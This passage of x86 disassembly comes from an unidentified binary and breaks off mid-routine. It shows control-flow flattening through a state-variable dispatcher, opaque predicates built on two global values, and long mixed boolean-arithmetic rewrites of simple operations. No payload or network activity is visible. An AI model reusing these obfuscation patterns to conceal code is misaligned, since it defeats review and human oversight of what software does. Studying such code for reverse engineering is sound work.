mov dword [ebp - 0x49978], eax
mov dword [ebp - 0x49a70], 0xf2ab7f4e
jmp 0x42c62f
mov eax, dword [ebp - 0x49958]
mov dword [ebp - 0x49a48], eax
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
xor edx, edx
sub edx, 1
add edx, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, eax
add esi, 0
mov edi, 0xae9381f1
add edi, 0
sub edi, edx
sub edi, 0xae9381f1
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, 0x13479b38
add edx, 0
sub edx, esi
sub edx, 0x13479b38
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, al
xor cl, 0xff
mov dl, ch
and dl, cl
xor ch, 0xff
mov cl, al
and cl, ch
or dl, cl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov cl, 1
xor cl, 1
or dl, ch
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
xor cl, 0xff
mov bh, ah
xor bh, cl
and bh, ah
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8a15b52
mov ecx, 0x2dc4c619
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x49a48]
mov dword [ebp - 0x49954], eax
mov dword [ebp - 0x49a70], 0xbb0c7965
jmp 0x42c62f
mov edx, dword [ebp - 0x49a00]
mov eax, dword [ebp - 0x49a2c]
imul ecx, dword [ebp - 0x49a30], 0x14
add eax, ecx
mov esi, dword [eax + 0x10]
xor eax, eax
sub eax, 0x1590b8b0
add eax, 0
xor ecx, ecx
sub ecx, edx
add eax, ecx
add eax, 0x2839ad7b
add eax, 0x1590b8b0
sub eax, 0x2839ad7b
mov ecx, 0xef4413fa
add ecx, 0
sub ecx, 0xbd51969
sub ecx, 0xef4413fa
xor edx, edx
sub edx, esi
add ecx, edx
xor edx, edx
sub edx, 0xbd51969
sub ecx, edx
xor edx, edx
sub edx, 0xd3a4590d
add eax, edx
sub eax, 0xed925869
add eax, ecx
add eax, 0xed925869
add eax, 0x7aea4389
add eax, 0xd3a4590d
sub eax, 0x7aea4389
mov ecx, 0xd9f68a0b
add ecx, 0
sub ecx, eax
sub ecx, 0xd9f68a0b
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x49a40]
shl eax, 2
xor edx, edx
sub edx, 0xcb1d67c7
sub edx, ecx
add edx, 0xcb1d67c7
mov ecx, 0xd4864fd
add ecx, 0
add ecx, edx
sub ecx, 0xd4864fd
mov edx, 0xa5a8fcf9
add edx, 0
sub edx, 0xac5cd462
sub edx, 0xa5a8fcf9
sub edx, 0x5481ea81
sub edx, eax
add edx, 0x5481ea81
sub edx, 0x9095506c
add edx, 0xac5cd462
add edx, 0x9095506c
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xa6ac5e04
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
xor eax, eax
sub eax, 0xa6ac5e04
add ecx, eax
xor eax, eax
sub eax, 0x157c9278
add eax, 0x1153c6de
add eax, 0x157c9278
sub eax, 0x55fd115f
sub eax, ecx
add eax, 0x55fd115f
sub eax, 0x16823211
sub eax, 0x1153c6de
mov ecx, dword [ebp - 0x49954]
mov dword [eax + 0x16823211], ecx
mov dword [ebp - 0x49a70], 0x2cca4c49
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor edx, edx
sub edx, 0x8cee2910
sub edx, 0xbafe132
add edx, 0x8cee2910
add edx, 0x96b14ce4
sub edx, 1
sub edx, 0x96b14ce4
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xbafe132
add esi, edx
xor edx, edx
sub edx, esi
mov esi, 0x90cb3f88
add esi, 0
sub esi, ecx
sub esi, 0x90cb3f88
xor edi, edi
sub edi, edx
add edi, 0
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, 0xd9d05c9c
add edx, 0
sub edx, esi
sub edx, 0xd9d05c9c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dl, ah
and dl, ch
or al, dl
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
mov byte [ebp - 0x49f15], dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ch
and dl, 0xff
and bh, dh
mov byte [ebp - 0x49f17], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x49f16], al
mov al, byte [ebp - 0x49f17]
or dl, al
mov al, byte [ebp - 0x49f16]
or bh, al
mov al, byte [ebp - 0x49f15]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or dl, ch
mov ch, 1
xor ch, 1
mov byte [ebp - 0x49f12], ch
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x49f14], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49f13], al
mov al, byte [ebp - 0x49f14]
or ch, al
mov al, byte [ebp - 0x49f13]
or bh, al
mov al, byte [ebp - 0x49f12]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, cl
and al, dh
or ch, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48892d3
mov ecx, 0xc9c67db2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x49a30]
mov dword [ebp - 0x4994c], eax
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
mov esi, 0x59900c45
add esi, 0
sub esi, ecx
sub esi, 0x59900c45
mov edi, 0x787cc92f
add edi, 0
sub edi, 0xe453dc10
sub edi, 0x787cc92f
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, 0x32c78773
add edx, 0
sub edx, esi
sub edx, 0x32c78773
xor esi, esi
sub esi, 1
add esi, 0
add edx, 0xa5ea9913
add edx, esi
sub edx, 0xa5ea9913
xor esi, esi
sub esi, 0x96721689
add edx, esi
sub edx, 0x8b31560
sub edx, 0xe453dc10
add edx, 0x8b31560
xor esi, esi
sub esi, 0x96721689
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, dl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, bl
and al, ch
or ah, al
mov al, 1
xor al, 0
and al, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or al, bh
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49f21], cl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov bh, ah
and bh, 0
mov byte [ebp - 0x49f23], bh
mov bh, ch
and bh, 0xff
and al, ah
mov byte [ebp - 0x49f22], al
mov al, byte [ebp - 0x49f23]
or cl, al
mov al, byte [ebp - 0x49f22]
or bh, al
mov al, byte [ebp - 0x49f21]
xor cl, bh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or cl, al
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x49f1a], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, ch
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov dh, 1
xor dh, 0
mov ah, dl
xor ah, dh
and ah, dl
mov byte [ebp - 0x49f1d], ah
mov dh, bh
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x49f1e], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and al, ch
mov byte [ebp - 0x49f20], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49f1f], al
mov al, byte [ebp - 0x49f20]
and cl, ch
or dh, al
mov al, byte [ebp - 0x49f1f]
or al, cl
mov cl, byte [ebp - 0x49f1e]
xor dh, al
mov al, byte [ebp - 0x49f1d]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49f19], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
and ch, 0xff
and al, ah
mov byte [ebp - 0x49f1c], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49f1b], al
mov al, byte [ebp - 0x49f1c]
and cl, ah
or ch, al
mov al, byte [ebp - 0x49f1b]
or al, cl
mov cl, byte [ebp - 0x49f1a]
xor ch, al
mov al, byte [ebp - 0x49f19]
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x49f18], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov al, ch
and al, 0
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x49f18]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48892d3
mov ecx, 0xfa04a32a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x4994c]
xor ecx, ecx
sub ecx, 0x9bec3024
add eax, ecx
xor ecx, ecx
sub ecx, 0x883e0c74
add eax, ecx
add eax, 0x44eea1fe
add eax, 0x9bec3024
sub eax, 0x44eea1fe
sub eax, 0x267891ae
sub eax, 0xa1dc8842
add eax, 0x267891ae
add eax, 0x7e6ee5f5
add eax, 1
sub eax, 0x7e6ee5f5
xor ecx, ecx
sub ecx, 0xa1dc8842
sub eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0
mov eax, 0x23d5d849
add eax, 0
sub eax, 0x883e0c74
sub eax, 0x23d5d849
add ecx, 0x66676ef8
add ecx, eax
sub ecx, 0x66676ef8
xor eax, eax
sub eax, ecx
add eax, 0
mov dword [ebp - 0x49a30], eax
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor esi, esi
sub esi, 0x45f1e61f
mov edx, ecx
add edx, esi
sub edx, 0x8b83343
sub edx, 0x5bacbff1
add edx, 0x8b83343
sub edx, 0x126c5d1e
add edx, 0x45f1e61f
add edx, 0x126c5d1e
xor esi, esi
sub esi, 0x524372df
add edx, esi
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x80507cc5
add edx, 0x524372df
add edx, 0x80507cc5
add edx, 0xcc4e423f
add edx, 0x586c413
sub edx, 0xcc4e423f
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x5bacbff1
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x704a1174
sub edx, 0x586c413
sub edx, 0x704a1174
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or al, dh
or dl, ch
xor al, dl
mov ch, cl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov dh, cl
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, ah
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe58cc408
mov ecx, 0x500ab747
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
mov esi, 0x249786fc
add esi, 0
sub esi, ecx
sub esi, 0x249786fc
xor edi, edi
sub edi, 0xc127c080
sub edi, 0xce932c3d
add edi, 0xc127c080
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
mov esi, 0xcc7401bc
add esi, 0
sub esi, 1
sub esi, 0xcc7401bc
add edx, 0xe8281e41
add edx, esi
sub edx, 0xe8281e41
xor esi, esi
sub esi, 0x89052811
add edx, esi
sub edx, 0xa2e8f0c6
sub edx, 0xce932c3d
add edx, 0xa2e8f0c6
add edx, 0x3a8efadb
add edx, 0x89052811
sub edx, 0x3a8efadb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x49f82], al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov bh, 1
xor bh, 1
xor dl, 0xff
mov al, 1
xor al, 1
or bh, dl
or al, 1
xor bh, 0xff
and bh, al
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
xor dl, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 1
or dl, dh
or ch, 1
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x49f8d], dl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ch
and dl, 0xff
and bh, dh
mov byte [ebp - 0x49f8f], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x49f8e], al
mov al, byte [ebp - 0x49f8f]
or dl, al
mov al, byte [ebp - 0x49f8e]
or bh, al
mov al, byte [ebp - 0x49f8d]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or dl, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49f8c], ch
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov bh, bl
and bh, 0
and ah, dh
or ch, al
mov al, byte [ebp - 0x49f8c]
or bh, ah
mov ah, byte [ebp - 0x49f82]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov dh, dl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and dl, ch
or al, dl
mov byte [ebp - 0x49f71], al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
xor ah, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
xor ah, 0
and ah, 0
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x49f8b], dh
mov bl, ah
xor bl, 0xff
mov ch, 1
xor ch, 1
and dh, 0xff
and al, ch
mov bh, bl
and bh, 0xff
and ah, ch
or dh, al
mov al, byte [ebp - 0x49f8b]
or bh, ah
mov ah, byte [ebp - 0x49f71]
xor dh, bh
or al, bl
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov byte [ebp - 0x49f70], dh
mov bl, 1
xor bl, 0
and bl, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or bl, bh
or al, ch
xor bl, al
mov ch, ah
xor ch, 0xff
mov al, bl
and al, ch
xor bl, 0xff
mov ch, ah
and ch, bl
or al, ch
xor ah, 0xff
mov bl, al
xor bl, ah
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, cl
xor al, 0xff
mov dh, ah
and dh, al
xor ah, 0xff
mov al, cl
and al, ah
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
and ch, 0
or ah, ch
mov byte [ebp - 0x49f88], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49f87], ah
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
and ah, 0
and al, ch
mov byte [ebp - 0x49f8a], al
mov al, bh
and al, 0
mov byte [ebp - 0x49f89], al
mov al, byte [ebp - 0x49f8a]
and cl, ch
or ah, al
mov al, byte [ebp - 0x49f89]
or al, cl
mov cl, byte [ebp - 0x49f88]
xor ah, al
mov al, byte [ebp - 0x49f87]
or al, bh
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov ch, 1
xor ch, 0
mov byte [ebp - 0x49f83], ch
mov al, cl
xor al, 0xff
mov byte [ebp - 0x49f84], al
mov bh, 1
xor bh, 0
and ch, 0
mov al, bh
and al, 0
mov byte [ebp - 0x49f86], al
mov al, byte [ebp - 0x49f84]
and al, 0
mov byte [ebp - 0x49f85], al
mov al, byte [ebp - 0x49f86]
and cl, bh
or ch, al
mov al, byte [ebp - 0x49f85]
or al, cl
mov cl, byte [ebp - 0x49f84]
xor ch, al
mov al, byte [ebp - 0x49f83]
or al, cl
mov cl, byte [ebp - 0x49f82]
xor al, 0xff
or bh, 0
and al, bh
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ah, bh
mov bh, byte [ebp - 0x49f70]
or al, ah
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x49f7e], al
mov ah, bh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and bh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov ch, cl
xor ch, 0xff
and ch, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x49f81], al
mov bh, cl
and bh, al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x49f80], al
mov al, byte [ebp - 0x49f81]
and ah, al
mov al, byte [ebp - 0x49f80]
or ch, bh
or al, ah
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, dh
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, bh
or al, bl
or ah, dh
xor al, ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x49f7f], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49f7d], al
mov al, byte [ebp - 0x49f7f]
or al, cl
mov cl, byte [ebp - 0x49f7e]
mov byte [ebp - 0x49f7c], al
mov al, byte [ebp - 0x49f7d]
or bh, al
mov al, byte [ebp - 0x49f7c]
xor al, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or al, ah
mov byte [ebp - 0x49f72], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or bh, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov dh, ch
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bl, dh
or al, ah
xor bl, al
mov byte [ebp - 0x49f76], bl
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov byte [ebp - 0x49f79], al
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 1
or al, dh
mov dh, byte [ebp - 0x49f79]
or ah, 1
xor al, 0xff
and al, ah
xor cl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov dh, 1
xor dh, 0
mov ah, bl
xor ah, dh
mov dh, byte [ebp - 0x49f79]
and ah, bl
mov byte [ebp - 0x49f77], ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x49f78], dh
mov dh, 1
xor dh, 1
mov bl, ch
and bl, 0xff
and al, dh
mov byte [ebp - 0x49f7b], al
mov al, byte [ebp - 0x49f78]
and al, 0xff
mov byte [ebp - 0x49f7a], al
mov al, byte [ebp - 0x49f7b]
and cl, dh
or bl, al
mov al, byte [ebp - 0x49f7a]
or al, cl
mov cl, byte [ebp - 0x49f79]
xor bl, al
mov al, byte [ebp - 0x49f78]
or ch, al
mov al, byte [ebp - 0x49f77]
xor ch, 0xff
or dh, 1
and ch, dh
or bl, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, al
mov al, byte [ebp - 0x49f76]
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x49f73], ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dh, ah
and dh, 0
and bh, ch
mov byte [ebp - 0x49f75], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x49f74], al
mov al, byte [ebp - 0x49f75]
or dh, al
mov al, byte [ebp - 0x49f74]
or bh, al
mov al, byte [ebp - 0x49f73]
xor dh, bh
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or dh, ah
mov bh, dh
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov bl, cl
and bl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or bl, al
mov al, byte [ebp - 0x49f72]
or dh, bh
xor bl, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or bl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, bl
xor cl, ah
and cl, bl
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
